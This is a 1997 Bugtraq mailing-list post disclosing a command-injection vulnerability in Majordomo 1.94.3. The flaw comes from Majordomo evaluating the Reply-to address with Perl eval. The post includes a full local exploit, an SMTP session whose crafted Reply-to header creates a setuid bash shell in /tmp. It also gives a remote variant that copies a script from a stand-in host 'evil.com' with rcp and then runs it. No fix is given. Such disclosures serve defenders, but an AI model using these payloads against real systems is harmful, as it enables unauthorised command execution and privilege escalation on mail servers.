Bugtraq mailing list archives
Vulnerability in Majordomo
From: drazvan () KAPPA RO (Razvan Dragomirescu)
Date: Sun, 24 Aug 1997 15:17:18 +0300
Hello all, I have discovered a vulnerablility in "majordomo" that allows local and remote users to execute commands with the rights of the user running the server. This user is usually in the daemon group, so this can be quite harmful. Still, there is a condition for the exploit to work. The server should have at least one list that uses the "advertise" or "noadvertise" directives in the configuration files. These directives indicate if the list should (or should not) be included in a reply to a "LISTS" command depending on the address the request came from. The exploit also works if the server has one or more "hidden" lists (see the Majordomo documentation for details). Here's a piece of the configuration file: -- lrazvan.config -- # advertise [regexp_array] (undef) <majordomo> # If the requestor email address matches one of these regexps, then # the list will be listed in the output of a lists command. Failure # to match any regexp excludes the list from the output. The # regexps under noadvertise override these regexps. advertise << END /.*/ END -- end lrazvan.config -- The one above tells majordomo to include this list in any "LISTS" request. The problem is that when the server finds a list that has one of these attributes ("advertise" or "noadvertise"), it will try to match the reply-to address against these patterns. It uses an "eval" command to do this. Let's take a look at the PERL source (the do_lists procedure): -- majordomo -- foreach $i (@array) { $command = "(q~$reply_addr~ =~ $i)"; $result = 1, last if (eval $command); } -- end majordomo -- $reply_addr is the result of some paranoid validation. It cannot contain <,>,[,],-,+,(,),; etc.. But with a few tricks, this won't be a problem :). Now, for the exploits. There a two of them, one for the local users who just want a setuid shell (with the rights of the server owner, usually majordomo.daemon), and one for the remote users who might want to copy some files or execute commands remotely (the old "mail foo () foo net < /etc/passwd" won't work, it contains '<' ...). Local exploit: --exploit-- telnet localhost 25 helo localhost mail from: user rcpt to: majordomo (or whatever the name of the majordomo user is) data From: user To: majordomo Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro LISTS . quit --end of exploit -- The "Reply-to" field does all the hard work. I think it needs some explaining. First, we use $IFS instead of spaces (guess why...), and '&&' instead of ';'. The '&&' operator does in bash the same thing it does in perl. "a&&b" means "execute a and if succ essful execute b". The address is composed in such a way that it passes the tests majordomo uses (it considers it as a X400 address). So don't change anything in there (of course, you can change the commands, but not the syntax). The exploit will copy /bi n/bash as /tmp/lord and change permissions for it to 4777 (setuid + rwx for everyone). For the remote users, change the Reply-to field to something like: Reply-to: a~.`/usr/bin/rcp\${IFS}user () evil com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro Make sure user () evil com can connect from the remote site. evil.com is your site. You will have to edit the "script" file in your home directory and make it do eveverything you want (you can now use all those "forbidden characters"). I am too tired to find a fix for this right now. Some more validation might help. I have tested this on Majordomo version 1.94.3. Other versions could be vulnerable. Have fun and be good. Razvan -- Razvan Dragomirescu drazvan () kappa ro, drazvan () romania ro, drazvan () roedu net Phone: +40-1-6866621 "Smile, tomorrow will be worse" (Murphy)
Current thread:
- Vulnerability in Majordomo Razvan Dragomirescu (Aug 24)
- Re: Vulnerability in Majordomo Steve Hill (Aug 26)
- CERT Summary CS-97.05 Aleph One (Aug 26)
- FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs Aleph One (Aug 26)
- Re: Vulnerability in Majordomo Oliver Xymoron (Aug 26)
- Re: Vulnerability in Majordomo Michael Warfield (Aug 26)
- <Possible follow-ups>
- Re: Vulnerability in Majordomo Randal Schwartz (Aug 26)